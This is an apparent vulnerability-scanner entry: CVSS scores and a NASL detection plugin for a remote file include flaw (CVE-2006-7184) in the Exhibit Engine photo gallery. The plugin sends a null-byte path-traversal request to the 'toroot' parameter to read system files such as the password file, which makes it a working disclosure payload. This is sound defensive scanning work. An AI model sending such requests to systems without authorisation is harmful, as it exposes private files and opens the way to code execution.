6.9 Medium
AI Score
Confidence
Low
6.8 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:M/Au:N/C:P/I:P/A:P
0.013 Low
EPSS
Percentile
85.6%
The remote web server running Exhibit Engine, a PHP based photo
gallery management system which is affected by a remote file include issue.
# SPDX-FileCopyrightText: 2008 Justin Seitz
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.80058");
script_version("2023-12-13T05:05:23+0000");
script_tag(name:"last_modification", value:"2023-12-13 05:05:23 +0000 (Wed, 13 Dec 2023)");
script_tag(name:"creation_date", value:"2008-10-24 23:33:44 +0200 (Fri, 24 Oct 2008)");
script_tag(name:"cvss_base", value:"6.8");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:P/I:P/A:P");
script_cve_id("CVE-2006-7184");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/20793");
script_name("Exhibit Engine toroot Parameter Remote File Include Vulnerability");
script_category(ACT_ATTACK);
script_copyright("Copyright (C) 2008 Justin Seitz");
script_family("Web application abuses");
script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl", "os_detection.nasl", "global_settings.nasl");
script_require_ports("Services/www", 80);
script_exclude_keys("Settings/disable_cgi_scanning");
script_tag(name:"solution", value:"No known solution was made available for at least one year since
the disclosure of this vulnerability. Likely none will be provided anymore. General solution options
are to upgrade to a newer release, disable respective features, remove the product or replace the
product by another one.");
script_tag(name:"summary", value:"The remote web server running Exhibit Engine, a PHP based photo
gallery management system which is affected by a remote file include issue.");
script_tag(name:"insight", value:"The version of Exhibit Engine installed on the remote host fails to
sanitize input to the 'toroot' parameter before using it in the 'styles.php' script to include PHP code.");
script_tag(name:"impact", value:"Provided PHP's 'register_globals' setting is enabled, an unauthenticated
attacker can exploit this issue to view arbitrary files and execute arbitrary code, possibly taken from
third-party hosts, on the remote host.");
script_tag(name:"qod_type", value:"remote_vul");
script_tag(name:"solution_type", value:"WillNotFix");
exit(0);
}
include("host_details.inc");
include("os_func.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");
include("misc_func.inc");
port = http_get_port(default:80);
if(!http_can_host_php(port:port)) exit(0);
files = traversal_files();
foreach dir( make_list_unique( "/gallery", "/photos", "/images", "/exhibit", "/exhibitengine", "/ee", http_cgi_dirs( port:port ) ) ) {
install = dir;
if( dir == "/" ) dir = "";
foreach pattern(keys(files)) {
file = files[pattern];
req = http_get(item:string(dir, "/styles.php?toroot=/", file, "%00"),port:port);
res = http_keepalive_send_recv(port:port, data:req, bodyonly:TRUE);
if (!res) continue;
if (egrep(pattern:pattern, string:res) ||
string("main(", file, "\\0styles/original.php): failed to open stream") >< res ||
string("main(", file, "): failed to open stream: No such file") >< res ||
"open_basedir restriction in effect. File(" >< res) {
passwd = "";
if (egrep(pattern:pattern, string:res))
passwd = res;
if (passwd) {
info = string("The version of Exhibit Engine installed in directory '", install, "'\n",
"is vulnerable to this issue. Here are the contents of /" + file + "\n",
"from the remote host :\n\n", passwd);
}
else info = "";
security_message(data:info, port:port);
exit(0);
}
}
}
exit( 99 );